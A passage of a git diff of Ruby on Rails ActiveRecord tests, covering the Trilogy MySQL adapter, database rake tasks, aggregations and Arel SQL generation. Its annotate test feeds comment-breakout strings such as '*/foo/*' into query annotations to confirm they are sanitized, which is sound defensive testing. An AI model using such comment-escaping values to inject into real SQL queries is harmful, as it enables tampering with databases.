+    assert_notification("sql.active_record") do
+      @conn.execute "SELECT * FROM posts;"
+    end
+  end
+
+  test "#indexes answers indexes with existing indexes" do
+    proof = [{
+      table: "posts",
+      name: "index_posts_on_author_id",
+      unique: false,
+      columns: ["author_id"],
+      lengths: {},
+      orders: {},
+      opclasses: {},
+      where: nil,
+      type: nil,
+      using: :btree,
+      comment: nil
+    }]
+
+    indexes = @conn.indexes("posts").map do |index|
+      {
+        table: index.table,
+        name: index.name,
+        unique: index.unique,
+        columns: index.columns,
+        lengths: index.lengths,
+        orders: index.orders,
+        opclasses: index.opclasses,
+        where: index.where,
+        type: index.type,
+        using: index.using,
+        comment: index.comment
+      }
+    end
+
+    assert_equal proof, indexes
+  end
+
+  test "#indexes answers empty array with no indexes" do
+    assert_equal [], @conn.indexes("users")
+  end
+
+  test "#begin_db_transaction raises error" do
+    error = Class.new(Exception)
+    assert_raises error do
+      @conn.stub(:perform_query, -> (*) { raise error }) do
+        @conn.begin_db_transaction
+      end
+    end
+
+    # rollback transaction so it doesn't bleed into other tests
+    @conn.rollback_db_transaction
+  end
+
+  test "#commit_db_transaction raises error" do
+    error = Class.new(Exception)
+    assert_raises error do
+      @conn.stub(:perform_query, -> (*) { raise error }) do
+        @conn.commit_db_transaction
+      end
+    end
+  end
+
+  test "#rollback_db_transaction raises error" do
+    error = Class.new(Exception)
+    assert_raises error do
+      @conn.stub(:perform_query, -> (*) { raise error }) do
+        @conn.rollback_db_transaction
+      end
+    end
+  end
+
+  test "#select_value returns a single value" do
+    assert_equal 123, @conn.select_value("SELECT 123")
+  end
+
+  test "#error_number answers number for exception" do
+    exception = Minitest::Mock.new
+    exception.expect :error_code, 123
+
+    assert_equal 123, @conn.send(:error_number, exception)
+  end
+
+  test "read timeout raises ActiveRecord::AdapterTimeout" do
+    db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+
+    ActiveRecord::Base.establish_connection(
+      db_config.configuration_hash.merge("read_timeout" => 1)
+    )
+    connection = ActiveRecord::Base.lease_connection
+
+    error = assert_raises(ActiveRecord::AdapterTimeout) do
+      connection.execute("SELECT SLEEP(2)")
+    end
+    assert_kind_of ActiveRecord::QueryAborted, error
+    assert_equal Trilogy::TimeoutError, error.cause.class
+    assert_equal connection.pool, error.connection_pool
+  ensure
+    ActiveRecord::Base.establish_connection :arunit
+  end
+
+  test "socket has precedence over host" do
+    error = assert_raises ActiveRecord::ConnectionNotEstablished do
+      ActiveRecord::ConnectionAdapters::TrilogyAdapter.new(host: "invalid", port: 12345, socket: "/var/invalid.sock").connect!
+    end
+    assert_includes error.message, "/var/invalid.sock"
+  end
+
+  test "EPIPE raises ActiveRecord::ConnectionFailed" do
+    assert_raises(ActiveRecord::ConnectionFailed) do
+      @conn.raw_connection.stub(:query, -> (*) { raise Trilogy::SyscallError::EPIPE }) do
+        @conn.execute("SELECT 1")
+      end
+    end
+  end
+
+  test "ETIMEDOUT raises ActiveRecord::ConnectionFailed" do
+    assert_raises(ActiveRecord::ConnectionFailed) do
+      @conn.raw_connection.stub(:query, -> (*) { raise Trilogy::SyscallError::ETIMEDOUT }) do
+        @conn.execute("SELECT 1")
+      end
+    end
+  end
+
+  test "ECONNREFUSED raises ActiveRecord::ConnectionFailed" do
+    assert_raises(ActiveRecord::ConnectionFailed) do
+      @conn.raw_connection.stub(:query, -> (*) { raise Trilogy::SyscallError::ECONNREFUSED }) do
+        @conn.execute("SELECT 1")
+      end
+    end
+  end
+
+  test "ECONNRESET raises ActiveRecord::ConnectionFailed" do
+    assert_raises(ActiveRecord::ConnectionFailed) do
+      @conn.raw_connection.stub(:query, -> (*) { raise Trilogy::SyscallError::ECONNRESET }) do
+        @conn.execute("SELECT 1")
+      end
+    end
+  end
+
+  test "setting prepared_statements to true raises" do
+    assert_raises ArgumentError do
+      ActiveRecord::ConnectionAdapters::TrilogyAdapter.new(prepared_statements: true).connect!
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/trilogy/trilogy_rake_test.rb b/activerecord/test/cases/adapters/trilogy/trilogy_rake_test.rb
new file mode 100644
index 0000000000000..76980d765c2a2
--- /dev/null
+++ b/activerecord/test/cases/adapters/trilogy/trilogy_rake_test.rb
@@ -0,0 +1,433 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+
+module ActiveRecord
+  class TrilogyDBCreateTest < ActiveRecord::TestCase
+    def setup
+      @connection = Class.new do
+        def create_database(*); end
+        def error_number(_); end
+      end.new
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "my-app-db"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_establishes_connection_without_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      mock = Minitest::Mock.new
+      mock.expect(:call, nil, [adapter: "trilogy", database: nil])
+      mock.expect(:call, nil, [db_config])
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        ActiveRecord::Base.stub(:establish_connection, mock) do
+          ActiveRecord::Tasks::DatabaseTasks.create(db_config)
+        end
+      end
+
+      assert_mock(mock)
+    end
+
+    def test_creates_database_with_no_default_options
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :create_database, ["my-app-db", {}]) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+        end
+      end
+    end
+
+    def test_creates_database_with_given_encoding
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :create_database, ["my-app-db", charset: "latin1"]) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("encoding" => "latin1")
+        end
+      end
+    end
+
+    def test_creates_database_with_given_collation
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :create_database,
+          ["my-app-db", collation: "latin1_swedish_ci"]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("collation" => "latin1_swedish_ci")
+        end
+      end
+    end
+
+    def test_when_database_created_successfully_outputs_info_to_stdout
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+        assert_equal "Created database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    def test_create_when_database_exists_outputs_info_to_stderr
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Base.lease_connection.stub(
+          :create_database,
+          proc { raise ActiveRecord::DatabaseAlreadyExists }
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+          assert_equal "Database 'my-app-db' already exists\n", $stderr.string
+        end
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          ActiveRecord::Base.stub(:lease_connection, @connection, &block)
+        end
+      end
+  end
+
+  class MysqlDBCreateWithInvalidPermissionsTest < ActiveRecord::TestCase
+    def setup
+      @error         = Trilogy::BaseError.new("Invalid permissions")
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "my-app-db",
+        "username" => "pat",
+        "password" => "wossname"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_raises_error
+      ActiveRecord::Base.stub(:establish_connection, -> * { raise @error }) do
+        assert_raises(Trilogy::BaseError, "Invalid permissions") do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+        end
+      end
+    end
+  end
+
+  class MySQLDBDropTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def drop_database(name); end }.new
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "my-app-db"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_establishes_connection_to_mysql_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called_with(
+          ActiveRecord::Base,
+          :establish_connection,
+          [db_config]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop(db_config)
+        end
+      end
+    end
+
+    def test_drops_database
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :drop_database, ["my-app-db"]) do
+          ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+        end
+      end
+    end
+
+    def test_when_database_dropped_successfully_outputs_info_to_stdout
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+
+        assert_equal "Dropped database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          ActiveRecord::Base.stub(:lease_connection, @connection, &block)
+        end
+      end
+  end
+
+  class MySQLPurgeTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def recreate_database(*); end }.new
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "test-db"
+      }
+    end
+
+    def test_establishes_connection_without_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(ActiveRecord::Base, :establish_connection, times: 2) do
+          ActiveRecord::Tasks::DatabaseTasks.purge(db_config)
+        end
+      end
+    end
+
+    def test_recreates_database_with_no_default_options
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :recreate_database, ["test-db", {}]) do
+          ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+        end
+      end
+    end
+
+    def test_recreates_database_with_the_given_options
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :recreate_database,
+          ["test-db", charset: "latin", collation: "latin1_swedish_ci"]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.purge @configuration.merge(
+            "encoding" => "latin", "collation" => "latin1_swedish_ci")
+        end
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          ActiveRecord::Base.stub(:lease_connection, @connection, &block)
+        end
+      end
+  end
+
+  class MysqlDBCharsetTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def charset; end }.new
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_db_retrieves_charset
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(@connection, :charset) do
+          ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+        end
+      end
+    end
+  end
+
+  class MysqlDBCollationTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def collation; end }.new
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_db_retrieves_collation
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(@connection, :collation) do
+          ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+        end
+      end
+    end
+  end
+
+  class MySQLStructureDumpTest < ActiveRecord::TestCase
+    def setup
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "test-db"
+      }
+    end
+
+    def test_structure_dump
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: true
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+      end
+    end
+
+    def test_structure_dump_with_extra_flags
+      filename = "awesome-file.sql"
+      expected_command = ["mysqldump", "--noop", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_hash_extra_flags_for_a_different_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags({ postgresql: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_hash_extra_flags_for_the_correct_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysqldump", "--noop", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags({ trilogy: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_ignore_tables
+      filename = "awesome-file.sql"
+      ActiveRecord::Base.lease_connection.stub(:data_sources, ["foo", "bar", "prefix_foo", "ignored_foo"]) do
+        ActiveRecord::SchemaDumper.stub(:ignore_tables, [/^prefix_/, "ignored_foo"]) do
+          assert_called_with(
+            Kernel,
+            :system,
+            ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "--ignore-table=test-db.prefix_foo", "--ignore-table=test-db.ignored_foo", "test-db", {}],
+            returns: true
+          ) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+          end
+        end
+      end
+    end
+
+    def test_warn_when_external_structure_dump_command_execution_fails
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: false
+      ) do
+        e = assert_raise(RuntimeError) {
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        }
+        assert_match(/^failed to execute:\nmysqldump/, e.message)
+      end
+    end
+
+    def test_structure_dump_with_port_number
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--port=10000", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: true
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+          @configuration.merge("port" => 10000),
+          filename)
+      end
+    end
+
+    def test_structure_dump_with_ssl
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--ssl-ca=ca.crt", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: true
+      ) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+            @configuration.merge("sslca" => "ca.crt"),
+            filename)
+        end
+    end
+
+    private
+      def with_structure_dump_flags(flags)
+        old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
+        yield
+      ensure
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
+      end
+  end
+
+  class MySQLStructureLoadTest < ActiveRecord::TestCase
+    def setup
+      @configuration = {
+        "adapter"  => "trilogy",
+        "database" => "test-db"
+      }
+    end
+
+    def test_structure_load
+      filename = "awesome-file.sql"
+      expected_command = ["mysql", "--noop", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_load_with_hash_extra_flags_for_a_different_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysql", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags({ postgresql: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_load_with_hash_extra_flags_for_the_correct_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysql", "--noop", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags({ trilogy: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    private
+      def with_structure_load_flags(flags)
+        old = ActiveRecord::Tasks::DatabaseTasks.structure_load_flags
+        ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = flags
+        yield
+      ensure
+        ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = old
+      end
+  end
+end
diff --git a/activerecord/test/cases/aggregations_test.rb b/activerecord/test/cases/aggregations_test.rb
index f8136fde722a2..410fc32a406ab 100644
--- a/activerecord/test/cases/aggregations_test.rb
+++ b/activerecord/test/cases/aggregations_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/customer"
 
@@ -24,8 +26,10 @@ def test_change_single_value_object
   end
 
   def test_immutable_value_objects
+    assert_raise(FrozenError) { customers(:david).balance.instance_eval { @amount = 20 } }
+
     customers(:david).balance = Money.new(100)
-    assert_raise(RuntimeError) { customers(:david).balance.instance_eval { @amount = 20 } }
+    assert_raise(FrozenError) { customers(:david).balance.instance_eval { @amount = 20 } }
   end
 
   def test_inferred_mapping
@@ -148,6 +152,20 @@ def test_assigning_hash_without_custom_converter
     customers(:barney).fullname_no_converter = { first: "Barney", last: "Stinson" }
     assert_equal({ first: "Barney", last: "Stinson" }.to_s, customers(:barney).name)
   end
+
+  def test_hash_mapping
+    assert_equal "Quiet Road", customers(:barney).address_hash_mapping.street
+    assert_equal "Peaceful Town", customers(:barney).address_hash_mapping.city
+    assert_equal "Tranquil Land", customers(:barney).address_hash_mapping.country
+  end
+
+  def test_value_object_with_hash_mapping_assignment_changes_model_attributes
+    customers(:barney).address_hash_mapping = Address.new("Lively Street", customers(:barney).address_city, customers(:barney).address_country)
+
+    customers(:barney).save
+
+    assert_equal "Lively Street", customers(:barney).address_street
+  end
 end
 
 class OverridingAggregationsTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/annotate_test.rb b/activerecord/test/cases/annotate_test.rb
new file mode 100644
index 0000000000000..809c4cb00d770
--- /dev/null
+++ b/activerecord/test/cases/annotate_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+class AnnotateTest < ActiveRecord::TestCase
+  fixtures :posts
+
+  def test_annotate_wraps_content_in_an_inline_comment
+    quoted_posts_id = Regexp.escape(quote_table_name("posts.id"))
+    quoted_posts = Regexp.escape(quote_table_name("posts"))
+
+    assert_queries_match(%r{SELECT #{quoted_posts_id} FROM #{quoted_posts} /\* foo \*/}i) do
+      posts = Post.select(:id).annotate("foo")
+      assert posts.first
+    end
+  end
+
+  def test_annotate_is_sanitized
+    quoted_posts_id = Regexp.escape(quote_table_name("posts.id"))
+    quoted_posts = Regexp.escape(quote_table_name("posts"))
+
+    assert_queries_match(%r{SELECT #{quoted_posts_id} FROM #{quoted_posts} /\* \* /foo/ \* \*/}i) do
+      posts = Post.select(:id).annotate("*/foo/*")
+      assert posts.first
+    end
+
+    assert_queries_match(%r{SELECT #{quoted_posts_id} FROM #{quoted_posts} /\* \*\* //foo// \*\* \*/}i) do
+      posts = Post.select(:id).annotate("**//foo//**")
+      assert posts.first
+    end
+
+    assert_queries_match(%r{SELECT #{quoted_posts_id} FROM #{quoted_posts} /\* \* \* //foo// \* \* \*/}i) do
+      posts = Post.select(:id).annotate("* *//foo//* *")
+      assert posts.first
+    end
+
+    assert_queries_match(%r{SELECT #{quoted_posts_id} FROM #{quoted_posts} /\* \* /foo/ \* \*/ /\* \* /bar \*/}i) do
+      posts = Post.select(:id).annotate("*/foo/*").annotate("*/bar")
+      assert posts.first
+    end
+
+    assert_queries_match(%r{SELECT #{quoted_posts_id} FROM #{quoted_posts} /\* \+ MAX_EXECUTION_TIME\(1\) \*/}i) do
+      posts = Post.select(:id).annotate("+ MAX_EXECUTION_TIME(1)")
+      assert posts.first
+    end
+  end
+end
diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb
deleted file mode 100644
index 397ac599b9ac2..0000000000000
--- a/activerecord/test/cases/ar_schema_test.rb
+++ /dev/null
@@ -1,146 +0,0 @@
-require "cases/helper"
-
-if ActiveRecord::Base.connection.supports_migrations?
-
-  class ActiveRecordSchemaTest < ActiveRecord::TestCase
-    self.use_transactional_tests = false
-
-    setup do
-      @original_verbose = ActiveRecord::Migration.verbose
-      ActiveRecord::Migration.verbose = false
-      @connection = ActiveRecord::Base.connection
-      ActiveRecord::SchemaMigration.drop_table
-    end
-
-    teardown do
-      @connection.drop_table :fruits rescue nil
-      @connection.drop_table :nep_fruits rescue nil
-      @connection.drop_table :nep_schema_migrations rescue nil
-      @connection.drop_table :has_timestamps rescue nil
-      @connection.drop_table :multiple_indexes rescue nil
-      ActiveRecord::SchemaMigration.delete_all rescue nil
-      ActiveRecord::Migration.verbose = @original_verbose
-    end
-
-    def test_has_primary_key
-      old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
-      ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
-      assert_equal "version", ActiveRecord::SchemaMigration.primary_key
-
-      ActiveRecord::SchemaMigration.create_table
-      assert_difference "ActiveRecord::SchemaMigration.count", 1 do
-        ActiveRecord::SchemaMigration.create version: 12
-      end
-    ensure
-      ActiveRecord::SchemaMigration.drop_table
-      ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
-    end
-
-    def test_schema_define
-      ActiveRecord::Schema.define(version: 7) do
-        create_table :fruits do |t|
-          t.column :color, :string
-          t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
-          t.column :texture, :string
-          t.column :flavor, :string
-        end
-      end
-
-      assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
-      assert_nothing_raised { @connection.select_all "SELECT * FROM schema_migrations" }
-      assert_equal 7, ActiveRecord::Migrator::current_version
-    end
-
-    def test_schema_define_w_table_name_prefix
-      table_name = ActiveRecord::SchemaMigration.table_name
-      old_table_name_prefix = ActiveRecord::Base.table_name_prefix
-      ActiveRecord::Base.table_name_prefix = "nep_"
-      ActiveRecord::SchemaMigration.table_name = "nep_#{table_name}"
-      ActiveRecord::Schema.define(version: 7) do
-        create_table :fruits do |t|
-          t.column :color, :string
-          t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
-          t.column :texture, :string
-          t.column :flavor, :string
-        end
-      end
-      assert_equal 7, ActiveRecord::Migrator::current_version
-    ensure
-      ActiveRecord::Base.table_name_prefix = old_table_name_prefix
-      ActiveRecord::SchemaMigration.table_name = table_name
-    end
-
-    def test_schema_raises_an_error_for_invalid_column_type
-      assert_raise NoMethodError do
-        ActiveRecord::Schema.define(version: 8) do
-          create_table :vegetables do |t|
-            t.unknown :color
-          end
-        end
-      end
-    end
-
-    def test_schema_subclass
-      Class.new(ActiveRecord::Schema).define(version: 9) do
-        create_table :fruits
-      end
-      assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
-    end
-
-    def test_normalize_version
-      assert_equal "118", ActiveRecord::SchemaMigration.normalize_migration_number("0000118")
-      assert_equal "002", ActiveRecord::SchemaMigration.normalize_migration_number("2")
-      assert_equal "017", ActiveRecord::SchemaMigration.normalize_migration_number("0017")
-      assert_equal "20131219224947", ActiveRecord::SchemaMigration.normalize_migration_number("20131219224947")
-    end
-
-    def test_schema_load_with_multiple_indexes_for_column_of_different_names
-      ActiveRecord::Schema.define do
-        create_table :multiple_indexes do |t|
-          t.string "foo"
-          t.index ["foo"], name: "multiple_indexes_foo_1"
-          t.index ["foo"], name: "multiple_indexes_foo_2"
-        end
-      end
-
-      indexes = @connection.indexes("multiple_indexes")
-
-      assert_equal 2, indexes.length
-      assert_equal ["multiple_indexes_foo_1", "multiple_indexes_foo_2"], indexes.collect(&:name).sort
-    end
-
-    def test_timestamps_without_null_set_null_to_false_on_create_table
-      ActiveRecord::Schema.define do
-        create_table :has_timestamps do |t|
-          t.timestamps
-        end
-      end
-
-      assert !@connection.columns(:has_timestamps).find { |c| c.name == "created_at" }.null
-      assert !@connection.columns(:has_timestamps).find { |c| c.name == "updated_at" }.null
-    end
-
-    def test_timestamps_without_null_set_null_to_false_on_change_table
-      ActiveRecord::Schema.define do
-        create_table :has_timestamps
-
-        change_table :has_timestamps do |t|
-          t.timestamps default: Time.now
-        end
-      end
-
-      assert !@connection.columns(:has_timestamps).find { |c| c.name == "created_at" }.null
-      assert !@connection.columns(:has_timestamps).find { |c| c.name == "updated_at" }.null
-    end
-
-    def test_timestamps_without_null_set_null_to_false_on_add_timestamps
-      ActiveRecord::Schema.define do
-        create_table :has_timestamps
-        add_timestamps :has_timestamps, default: Time.now
-      end
-
-      assert !@connection.columns(:has_timestamps).find { |c| c.name == "created_at" }.null
-      assert !@connection.columns(:has_timestamps).find { |c| c.name == "updated_at" }.null
-    end
-  end
-end
diff --git a/activerecord/test/cases/arel/attributes/attribute_test.rb b/activerecord/test/cases/arel/attributes/attribute_test.rb
new file mode 100644
index 0000000000000..0f3d78c459e9a
--- /dev/null
+++ b/activerecord/test/cases/arel/attributes/attribute_test.rb
@@ -0,0 +1,1184 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Attributes
+    class AttributeTest < Arel::Spec
+      describe "#not_eq" do
+        it "should create a NotEqual node" do
+          relation = Table.new(:users)
+          _(relation[:id].not_eq(10)).must_be_kind_of Nodes::NotEqual
+        end
+
+        it "should generate != in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].not_eq(10)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" != 10
+          }
+        end
+
+        it "should handle nil" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].not_eq(nil)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" IS NOT NULL
+          }
+        end
+      end
+
+      describe "#not_eq_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].not_eq_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].not_eq_any([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" != 1 OR "users"."id" != 2)
+          }
+        end
+      end
+
+      describe "#not_eq_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].not_eq_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].not_eq_all([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" != 1 AND "users"."id" != 2)
+          }
+        end
+      end
+
+      describe "#gt" do
+        it "should create a GreaterThan node" do
+          relation = Table.new(:users)
+          _(relation[:id].gt(10)).must_be_kind_of Nodes::GreaterThan
+        end
+
+        it "should generate > in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].gt(10)
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE "users"."id" > 10
+          }
+        end
+
+        it "should handle comparing with a subquery" do
+          users = Table.new(:users)
+
+          avg = users.project(users[:karma].average)
+          mgr = users.project(Arel.star).where(users[:karma].gt(avg))
+
+          _(mgr.to_sql).must_be_like %{
+            SELECT * FROM "users" WHERE "users"."karma" > (SELECT AVG("users"."karma") FROM "users")
+          }
+        end
+
+        it "should accept various data types." do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:name].gt("fake_name")
+          _(mgr.to_sql).must_match %{"users"."name" > 'fake_name'}
+
+          current_time = ::Time.now
+          mgr.where relation[:created_at].gt(current_time)
+          _(mgr.to_sql).must_match %{"users"."created_at" > '#{current_time}'}
+        end
+      end
+
+      describe "#gt_any" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].gt_any([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ORs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].gt_any([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" > 1 OR "users"."id" > 2)
+          }
+        end
+      end
+
+      describe "#gt_all" do
+        it "should create a Grouping node" do
+          relation = Table.new(:users)
+          _(relation[:id].gt_all([1, 2])).must_be_kind_of Nodes::Grouping
+        end
+
+        it "should generate ANDs in sql" do
+          relation = Table.new(:users)
+          mgr = relation.project relation[:id]
+          mgr.where relation[:id].gt_all([1, 2])
+          _(mgr.to_sql).must_be_like %{
+            SELECT "users"."id" FROM "users" WHERE ("users"."id" > 1 AND "users"."id" > 2)
+          }
+        end
+      end
+
+      describe "#gteq" do
+        it "should create a GreaterThanOrEqual node" do
+          relation = Table.new(:users)
